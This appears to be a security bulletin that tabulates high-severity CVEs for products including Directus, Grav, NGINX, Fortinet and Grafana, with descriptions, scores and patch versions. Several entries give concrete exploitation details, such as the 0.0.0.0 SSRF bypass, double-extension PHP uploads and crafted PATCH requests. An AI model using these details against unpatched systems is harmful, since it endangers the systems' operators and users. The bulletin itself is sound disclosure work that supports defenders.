| Primary Vendor -- Product                           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| denishua--WPJAM Basic                               | Server-Side Request Forgery (SSRF) vulnerability in denishua WPJAM Basic wpjam-basic allows Server Side Request Forgery.This issue affects WPJAM Basic: from n/a through <= 7.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-13 | 7.2        | <a href="#">CVE-2026-57372</a> |
| directus--directus                                  | Directus is a real-time API and App dashboard for managing SQL database content. Prior to 12.0.0, when response caching is enabled, the cache-key derivation in api/src/utis/get-cache-key.ts includes version, path, query, and accountability.user but omits authorization context such as share, role, roles, admin, app, and policies. Directus share tokens and anonymous requests can both reduce to user null, so different shares or anonymous clients requesting the same URL and query can receive a permission-filtered cached response without permission re-evaluation. This issue is fixed in version 12.0.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-15 | 8.6        | <a href="#">CVE-2026-61836</a> |
| directus--directus                                  | Directus is a real-time API and App dashboard for managing SQL database content. Prior to 12.0.0, the SSRF protection on Directus's file-import-from-URL feature can be bypassed using the address 0.0.0.0 because api/src/request/is-denied-ip.ts treats 0.0.0.0 as a keyword for local interfaces but never blocks the literal address itself. On Linux and macOS, connecting to 0.0.0.0 reaches localhost, so an authenticated user with file-upload rights can make the server fetch internal services through the /files/import endpoint and retrieve the response as a downloadable file. This issue is fixed in version 12.0.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-15 | 7.7        | <a href="#">CVE-2026-61835</a> |
| docling-project--docling-core                       | Docling Core defines core data types and transformations for the document processing application Docling. In versions 2.5.0 and above, prior to 2.74.1, docling-core could allow local file:// image references and accepted inline data: content without a decoded-size limit. In applications that accept untrusted image references, this may allow access to local files readable by the process or excessive memory use from large inline payloads. This issue has been fixed in version 2.74.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-16 | 8.1        | <a href="#">CVE-2026-44019</a> |
| docling-project--docling-core                       | Docling Core defines core data types and transformations for the document processing application Docling. In versions 1.5.0 and above, prior to 2.74.1, docling-core did not sufficiently restrict remote request destinations and could resolve a server-provided Content-Disposition to a local path in an unsafe manner. In applications that accept untrusted URLs, this could allow SSRF attacks targeting local files outside the user-defined cache directory. This issue has been fixed in version 2.74.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-16 | 8.6        | <a href="#">CVE-2026-44023</a> |
| Dokan, Inc.--Dokan                                  | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Dokan, Inc. Dokan dokan-lite allows Reflected XSS.This issue affects Dokan: from n/a through <= 5.0.6.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57706</a> |
| Eclipse Foundation--Eclipse BaSyx - Java Server SDK | In Eclipse BaSyx Java Server SDK versions 2.0.0-milestone-05 to 2.0.0-milestone-12, deployments using the MongoDB backend are vulnerable to an unauthenticated arbitrary file write through the AAS thumbnail API. The AAS thumbnail upload path accepted a client-controlled fileName request parameter and passed it through repository file handling as both a repository key and, during thumbnail retrieval, a local filesystem path. With the MongoDB file repository, the supplied filename was treated as an opaque GridFS key and was not normalized or restricted as a filesystem path. A remote attacker could upload thumbnail content using an absolute or traversal-style filename, then trigger thumbnail retrieval so that the uploaded bytes were written to the attacker-chosen path on the server filesystem. This could allow writing files anywhere the Java process has permission to write and may lead to remote code execution. The default InMemory backend is not affected by this specific path because it normalizes and restricts file paths to its temporary directory. The issue is fixed in Eclipse BaSyx Java Server SDK 2.0.0-milestone-13. | 2026-07-14 | 9          | <a href="#">CVE-2026-57898</a> |
| Eclipse Foundation--Eclipse Jetty                   | For requests that have a body, but reading the body may end up in reading 0 bytes, there is a buffer leak. This is particularly the case for 100-Continue, but any request where the network is slow can leak.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-14 | 7.5        | <a href="#">CVE-2024-7708</a>  |
| Edge-Themes--Aalto                                  | Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Edge-Themes Aalto aalto allows PHP Local File Inclusion.This issue affects Aalto: from n/a through <= 1.8.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57788</a> |
| Edge-Themes--Overworld                              | Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Edge-Themes Overworld overworld allows PHP Local File Inclusion.This issue affects Overworld: from n/a through <= 1.5.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57800</a> |
| Elated-Themes--Flow                                 | Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Elated-Themes Flow flow allows PHP Local File Inclusion.This issue affects Flow: from n/a through <= 1.8.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57793</a> |
| Element Invader--ElementInvader                     | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Element Invader ElementInvader Addons for Elementor                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57376</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                  | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Addons for Elementor                                       | elementinvader-addons-for-elementor allows DOM-Based XSS.This issue affects ElementInvader Addons for Elementor: from n/a through <= 1.4.3.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |            |            |                                |
| EQ-3 Equiva--CC-RT-BLE Bluetooth Smart Radiator Thermostat | EQ-3 Equiva CC-RT-BLE Bluetooth Smart Radiator Thermostat Firmware up to the latest version 1.46 was discovered to allow unsecured bluetooth connections. This vulnerability allows attackers to gain full access to the device without authentication.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-16 | 7.1        | <a href="#">CVE-2024-34268</a> |
| eteubert--Podlove Podcast Publisher                        | The Podlove Podcast Publisher plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'podlove_handle_cache_files' function in all versions up to, and including, 4.5.1. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-14 | 9.8        | <a href="#">CVE-2026-13001</a> |
| Eugeny--tabby                                              | Tabby (formerly Terminus) is a highly configurable terminal emulator. Prior to 1.0.234, Tabby inserts dropped file paths from tabby-electron/src/pathDrop.ts into the active shell without neutralizing command substitution metacharacters such as \$(-) and -, so the incomplete CVE-2026-45038 fix for control characters still allows code execution when the victim presses Enter. This issue is fixed in version 1.0.234.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-15 | 7.8        | <a href="#">CVE-2026-46709</a> |
| eyecix--JobSearch                                          | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in eyecix JobSearch wp-jobsearch allows Stored XSS.This issue affects JobSearch: from n/a through <= 3.2.9.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57383</a> |
| F5--BIG-IP                                                 | When an HTTP/2 profile is configured on a virtual server, undisclosed requests can cause an increase in memory resource utilization. Impact: System performance can degrade until the TMM process is either forced to restart or is manually restarted. This vulnerability allows a remote, unauthenticated attacker to cause a degradation of service that can lead to a denial-of-service (DoS) on the BIG-IP system. There is no control plane exposure; this is a data plane issue only. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-15 | 7.5        | <a href="#">CVE-2026-59762</a> |
| F5--NGINX Ingress Controller                               | When NGINX Ingress Controller is configured with Custom Resource Definitions (CRDs) or Ingress annotations, an injection vulnerability exists in the configuration generator of NGINX Ingress Controller. Multiple user-controllable fields are written into the generated NGINX configuration without sanitization. An authenticated attacker with permission to create or modify these CRDs or annotations may craft values that inject arbitrary NGINX configuration directives. Impact: An authenticated attacker granted write access to NGINX Ingress Controller CRDs or Ingress annotations through the Kubernetes API may be able to inject arbitrary NGINX configuration directives, create or delete files, or disable services. There is no data plane exposure; this is a control plane issue only. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.                                                                                                                                                       | 2026-07-15 | 8.3        | <a href="#">CVE-2026-55723</a> |
| F5--NGINX Plus                                             | A vulnerability exists in NGINX Plus and NGINX Open Source when a map directive uses regex matching and a string expression references the map's regex capture variables before referencing the map output variable. Alternatively, the same result could be achieved by using a non-cacheable variable in a string expression under certain conditions. An unauthenticated attacker along with conditions beyond their control can exploit this vulnerability by sending crafted HTTP requests. This may cause a heap buffer overflow in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR. Impact: This vulnerability may allow remote attackers to cause a denial-of-service (DoS) on the NGINX system or to possibly trigger a code execution. There is no control plane exposure; this is a data plane issue only. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated. | 2026-07-15 | 8.1        | <a href="#">CVE-2026-42533</a> |
| F5--NGINX Plus                                             | NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_slice_module module. When the slice directive and unnamed regex captures are configured or when a background cache update happens, unauthenticated attackers can send requests that may cause uninitialized memory access in the NGINX worker process, leading to limited disclosure of memory or a restart. Impact: This vulnerability may allow remote, unauthenticated attackers to have limited control to disclose memory contents or restart the NGINX worker process. There is no control plane exposure; this is a data plane issue only. Note: The ngx_http_slice_module module is not enabled by default; it's enabled with the --with-http_slice_module configuration parameter. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.                                                                                                                                                                                                     | 2026-07-15 | 8.2        | <a href="#">CVE-2026-60005</a> |
| facelessuser--sopsieve                                     | Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in sopsieve allocates unbounded memory when                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-14 | 7.5        | <a href="#">CVE-2026-49476</a> |

# High Vulnerabilities

| Primary Vendor -- Product           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                     | compiling large comma-separated selector lists, allowing an attacker who can supply a crafted selector string to soupsieve.compile() or BeautifulSoup .select() / .select_one() to allocate hundreds of megabytes of heap memory from a relatively small input and cause denial of service. This issue is fixed in version 2.8.4.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |            |            |                                |
| facelessuser--soupsieve             | Soup Sieve is a CSS selector library designed to be used with BeautifulSoup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or BeautifulSoup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-14 | 7.5        | <a href="#">CVE-2026-49477</a> |
| FalkorDB--QueryWeaver               | QueryWeaver contains an authentication bypass vulnerability that allows unauthenticated attackers to obtain valid session tokens for existing accounts by submitting a signup request with a known victim email address. The signup route unconditionally creates and links a new token to the matching Identity via a Cypher MERGE operation before checking whether the email belongs to an existing account, causing the server to return a valid authenticated session token for the victim's identity without requiring any prior credentials or user interaction.                                                                                                                                                                                                                                                                                                                                                 | 2026-07-18 | 8.2        | <a href="#">CVE-2026-10130</a> |
| fast-uri--fast-uri                  | Impact: fast-uri versions from 2.3.1 through 4.1.0 (including the 3.x line up to 3.1.3 and the 2.x line up to 2.4.2) do not treat a literal backslash character (U+005C) as an authority delimiter. Node's native WHATWG URL parser, used by fetch, undici, and Node's http and https clients, normalizes the backslash to a forward slash for special schemes such as http, https, ws, wss, ftp, and file. As a result, the two parsers extract different hosts from the same input string. Applications that use fast-uri to enforce host-based policy such as allowlists, denylists, loopback or SSRF filtering, redirect validation, or outbound proxy routing before passing the same URL into Node's URL or fetch consumers can be steered to an unintended destination, including cloud metadata endpoints, loopback, or internal hosts. Patches: upgrade to fast-uri 4.1.1, 3.1.4, or 2.4.3. Workarounds: none. | 2026-07-19 | 7.5        | <a href="#">CVE-2026-16221</a> |
| favethemes--Houzez Login Register   | Incorrect Privilege Assignment vulnerability in favethemes Houzez Login Register houzez-login-register allows Privilege Escalation.This issue affects Houzez Login Register: from n/a through <= 3.3.3.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-13 | 8.2        | <a href="#">CVE-2026-57768</a> |
| Feast--Feast Feature Server         | A vulnerability was identified in the Feast Feature Server's `/ws/chat` endpoint that allows remote attackers to establish persistent WebSocket connections without any authentication. By opening a large number of simultaneous connections, an attacker can exhaust server resources-such as memory, CPU, and file descriptors-leading to a complete denial of service for legitimate users.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-16 | 7.5        | <a href="#">CVE-2026-23538</a> |
| filebrowser--filebrowser            | File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.17, File Browser builds new user scopes from usernames passed through cleanUsername() when Signup=true and CreateUserDir=true, but the many-to-one normalization can collapse usernames such as team/one, team one, and team-one to the same home directory without checking whether the resulting scope is already taken, allowing a second registrant to gain full read and write access to another user's files. This issue is fixed in version 2.63.17.                                                                                                                                                                                                                                                                                                      | 2026-07-15 | 8.1        | <a href="#">CVE-2026-62685</a> |
| Flintop--Free Gifts for WooCommerce | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Flintop Free Gifts for WooCommerce free-gifts-for-woocommerce allows Stored XSS.This issue affects Free Gifts for WooCommerce: from n/a through <= 13.1.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57396</a> |
| Fortinet--FortiAuthenticator        | A out-of-bounds read vulnerability in Fortinet FortiAuthenticator 6.6.0 through 6.6.2, FortiAuthenticator 6.5 all versions may allow a remote unauthenticated attacker to retrieve sensitive information via a specially crafted request.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-14 | 7          | <a href="#">CVE-2025-53379</a> |
| Fortinet--FortiSandbox              | A exposure of resource to wrong sphere vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.2, FortiSandbox 4.4.3 through 4.4.8 may allow an unauthenticated attacker to access the VNC server of VMs performing scanning via network requests.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-14 | 7.7        | <a href="#">CVE-2026-59835</a> |
| fossasia--open-event-server         | Open Event Server through 1.19.1 contains a missing authentication vulnerability that allows unauthenticated attackers to export the complete member roster of any group, including email addresses, names, join dates, and roles, by submitting requests to the group followers CSV export endpoint which lacks any authentication decorator. Attackers can enumerate sequential group IDs via brute-force, trigger an export via the unauthenticated POST endpoint, then poll the unauthenticated task status endpoint until completion to retrieve a download URL containing the full member CSV.                                                                                                                                                                                                                                                                                                                    | 2026-07-17 | 7.5        | <a href="#">CVE-2026-63101</a> |

# High Vulnerabilities

| Primary Vendor -- Product              | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| frappe--erpnext                        | ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 15.111.0 and 16.22.0, an authenticated user with a standard operational role can trigger server-side template injection through a configuration field, resulting in unauthorized disclosure of data outside the user's normal permission scope. This issue is fixed in versions 15.111.0 and 16.22.0.                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-15 | 8.8        | <a href="#">CVE-2026-55242</a> |
| FunnelKit--Funnel Builder by FunnelKit | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in FunnelKit Funnel Builder by FunnelKit funnel-builder allows Reflected XSS.This issue affects Funnel Builder by FunnelKit: from n/a through <= 3.15.0.8.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57816</a> |
| Gerapy--Gerapy                         | A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The name of the patch is bd4891c60315f17611a3b7a651ffe0fba7cfe71e. Applying a patch is advised to resolve this issue.                                                                                                                                                                                                                                                                                         | 2026-07-19 | 7.3        | <a href="#">CVE-2026-16209</a> |
| getgrav--grav                          | The Grav API plugin (grav-plugin-api) before 1.0.4 does not validate the origin of the client-supplied admin_base_url field in the POST /api/v1/auth/forgot-password endpoint. The sanitizeHttpRequest() function only checks that the URL scheme is http/https and never verifies the host against the server's own origin, so an attacker can supply an arbitrary host. As a result, an unauthenticated attacker can cause the password reset email sent to a victim to contain a reset link pointing at an attacker-controlled server; when the victim follows the link, the valid reset token is disclosed to the attacker, enabling full account takeover. The vulnerable base URL can also be influenced via the Referer or Origin headers.        | 2026-07-15 | 9.6        | <a href="#">CVE-2026-61451</a> |
| getgrav--grav                          | The bundled Grav Flex Objects plugin (getgrav/grav-plugin-flex-objects) before 1.4.0 contains a stored server-side template injection vulnerability. When rendering dynamic collection or object titles, the plugin passes user-controlled frontmatter values (page.header.flex.collection.title or page.header.flex.object.title) to Twig's template_from_string(), causing them to be evaluated as Twig code rather than treated as text. This path bypasses Grav's Security::cleanDangerousTwig() sanitization. An attacker who can control the title frontmatter of a publicly reachable Flex Objects page can achieve arbitrary Twig execution and escalate to remote command execution via access to internal Grav services such as the scheduler. | 2026-07-15 | 8.8        | <a href="#">CVE-2026-58655</a> |
| getgrav--grav                          | The Grav API plugin (getgrav/grav-plugin-api) before 1.0.3 contains a file upload extension bypass in the API media controller. HandlesMediaUploads::validateFileExtension() inspects only the final file extension via pathinfo(\$filename, PATHINFO_EXTENSION), so a user with api.media.write permission can upload a file with a double extension such as shell.php.jpg to bypass the dangerous extensions blocklist. The web server may then execute the file as PHP, resulting in remote code execution.                                                                                                                                                                                                                                           | 2026-07-15 | 8.8        | <a href="#">CVE-2026-61457</a> |
| getgrav--grav                          | Grav before 9.1.8 contains an arbitrary file write vulnerability in the Form plugin's process.save.filename parameter, which is validated against path traversal before Twig processing but never re-validated after rendering. Attackers can submit form data containing path traversal sequences that are processed through Twig templates, allowing them to write arbitrary files including PHP webshells to the web root or other sensitive directories.                                                                                                                                                                                                                                                                                             | 2026-07-15 | 8.1        | <a href="#">CVE-2026-61873</a> |
| getgrav--grav                          | The Grav API plugin (getgrav/grav-plugin-api) before 1.0.6 contains an authorization bypass: API keys can be created with a restricted scopes array, but the ApiKeyAuthenticator class never reads or enforces these scopes. It loads and returns the owning user's full account object, so a key created with limited scopes (e.g. read-only) can perform any write, delete, or administrative operation the owning user is authorized for. Fixed in 1.0.6.                                                                                                                                                                                                                                                                                             | 2026-07-17 | 8.1        | <a href="#">CVE-2026-62231</a> |
| getgrav--grav                          | grav-plugin-api before 1.0.6 fails to validate super-admin status in createApiKey, generate2fa, and disable2fa endpoints, allowing non-super api.users.write managers to escalate to super-admin. Attackers can mint API keys bound to super-admin accounts or strip 2FA from super-admin users to achieve full instance takeover.                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-17 | 8.8        | <a href="#">CVE-2026-62233</a> |
| getgrav--grav                          | Grav before 2.0.4 fails to restrict cURL protocols in webhook dispatch, allowing authenticated users with api.webhooks.write permission to create webhooks with file://, dict://, or gopher:// URLs. Attackers can trigger webhook events to read local files, access process information, or pivot to internal services via unrestricted protocol handlers.                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-17 | 8.1        | <a href="#">CVE-2026-62234</a> |



# High Vulnerabilities

| Primary Vendor -- Product                                                                                             | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| getgrav--grav                                                                                                         | Grav before 2.0.4 ships a default .htaccess (and reference webserver-configs/htaccess.txt) whose rules blocking access to sensitive file types (.yaml, .php, .json, etc.) lack the [NC] flag, making extension matching case-sensitive. On case-insensitive filesystems (Windows/NTFS, macOS/HFS+, or Docker volume mounts), an unauthenticated attacker can request these files with uppercase or mixed-case extensions (e.g., .YAML, .PHP) to bypass the restrictions and read sensitive configuration files that may contain API keys and credentials.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-17 | 7.5        | <a href="#">CVE-2026-62230</a> |
| getgrav--grav                                                                                                         | Grav before 2.0.4 contains a two-factor authentication bypass vulnerability in the login plugin where the regenerate2FAsecret task checks only user existence, not authorization, during the pending TOTP challenge window. Attackers who know the victim's password can call this task without a CSRF nonce to overwrite the 2FA secret with an attacker-chosen value, compute a valid TOTP code, and complete authentication while reducing 2FA to password-only protection.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-17 | 7.4        | <a href="#">CVE-2026-62232</a> |
| getgrav--grav                                                                                                         | The Grav API plugin (getgrav/grav-plugin-api) before 1.0.0-rc.16 accepts JWT access tokens through the ?token= URL query parameter on every API route (JwtAuthenticator::extractBearerToken fallback). Because tokens are embedded in URLs, they are logged verbatim in web server access logs, leaked via the Referer header, stored in browser history, and captured by upstream proxy and CDN logs, exposing valid admin access tokens. A leaked token grants unauthorized API access, including reading configuration and user data, creating admin accounts, modifying system settings, and deleting pages.                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-17 | 7.5        | <a href="#">CVE-2026-62386</a> |
| getgrav--grav                                                                                                         | The Grav API plugin (getgrav/grav-plugin-api) before 1.0.0-rc.16 shipped Access-Control-Allow-Origin: * as its default CORS configuration on all responses, including authenticated endpoints and preflight (OPTIONS) responses. Because the plugin accepts credentials via the Authorization and X-API-Token headers (set programmatically by JavaScript rather than via cookies), an attacker who obtains a valid access token (e.g., via log leakage, Referer headers, browser history, or network capture) can issue fully authenticated cross-origin requests from any malicious website to read sensitive data and perform write operations as the token's user. Fixed in 1.0.0-rc.16.                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-17 | 7.1        | <a href="#">CVE-2026-62387</a> |
| getwpfunnels--WPFunnels Funnel Builder for WooCommerce with Checkout & One Click Upsell                               | The WPFunnels - Funnel Builder for WooCommerce with Checkout & One Click Upsell plugin for WordPress is vulnerable to Privilege Escalation via arbitrary option update in all versions up to, and including, 3.12.8. This is due to the `update_settings()` REST callback failing to validate the `group_id` path parameter against an allowlist of permitted option names before passing it directly to `get_option()` and `update_option()`, allowing the built-in `wp_user_roles` option - which satisfies the route's loose `[\\w-]+` regex - to be targeted. This makes it possible for authenticated attackers with the `wpf_manage_funnels` capability and above to elevate their privileges to administrator by writing a crafted role definition containing arbitrary capabilities into the `wp_user_roles` option, thereby granting any WordPress role full site administrator access. The `wpf_manage_funnels` capability is typically assigned to the Funnel Manager custom role created by the plugin, meaning this role is the minimum required to exploit the vulnerability. | 2026-07-16 | 8.8        | <a href="#">CVE-2026-15103</a> |
| GIGABYTE--MBStorage                                                                                                   | The MBStorage DRAM lighting control module within Gigabyte Control Center (GCC) developed by GIGABYTE Technology has an Improper Access Control vulnerability. Authenticated local attackers can send specific IOCTL commands through the driver MyPortIO_x64.sys bundled with the module, thereby arbitrarily reading and writing physical memory and obtaining kernel-level privileges.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-13 | 7.8        | <a href="#">CVE-2026-9492</a>  |
| Gis Informatics Engineering Consulting Laboratory R&D and Software Services Inc.--GisLab Laboratory Management System | Improper neutralization of special elements used in an SQL command ('SQL injection') vulnerability in Gis Informatics Engineering Consulting Laboratory R&D and Software Services Inc. GisLab Laboratory Management System allows SQL Injection. This issue affects GisLab Laboratory Management System: from 1.4.03 through 08072026.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-17 | 9.8        | <a href="#">CVE-2026-8297</a>  |
| gitroomhq--postiz-app                                                                                                 | Postiz is an AI social media scheduling tool. Prior to 2.21.8, Postiz fails to verify Nowpayments IPN callback authenticity against the payment provider shared secret and reads the target subscription identifier from the untrusted request body, allowing a low-privileged account to grant arbitrary organizations lifetime PRO subscriptions without payment. This issue is fixed in version 2.21.8.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-15 | 7.7        | <a href="#">CVE-2026-48799</a> |
| go-shiori--shiori                                                                                                     | Shiori contains a privilege escalation vulnerability in the account update endpoint that allows authenticated users to modify the owner field without authorization                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-13 | 8.8        | <a href="#">CVE-2026-61463</a> |

# High Vulnerabilities

| Primary Vendor -- Product    | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | Published  | CVSS Score | Source & Patch Info            |
|------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                              | checks. Attackers can escalate to administrator by submitting a crafted PATCH request with owner: true, then re-authenticate to obtain an admin JWT token granting full system access.                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |            |            |                                |
| gpustack--gpustack           | GPUStack through 2.2.1, fixed in commit 4e20551, contains an unauthenticated information disclosure vulnerability that allows unauthenticated attackers to access sensitive inference logs and modify worker configuration by exploiting unprotected /serveLogs and /debug endpoints on the worker port. Attackers can enumerate model instance IDs to stream serving logs containing prompts and completions, change log levels, and read memory profiling data without any authentication.                                                                                                                                                           | 2026-07-15 | 8.2        | <a href="#">CVE-2026-58658</a> |
| Grafana--Grafana MCP Server  | A confused-deputy flaw in Grafana MCP Server allows an unauthenticated remote attacker to exfiltrate the server's environment-configured Grafana service-account token by supplying a crafted X-Grafana-URL request header. This also enables SSRF against arbitrary internal services, including cloud metadata endpoints.                                                                                                                                                                                                                                                                                                                            | 2026-07-15 | 8.6        | <a href="#">CVE-2026-15583</a> |
| Grafana--Loki                | Loki queries with large limits can cause large memory allocations which can impact the availability of the service, depending on its deployment strategy.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-16 | 7.5        | <a href="#">CVE-2026-21729</a> |
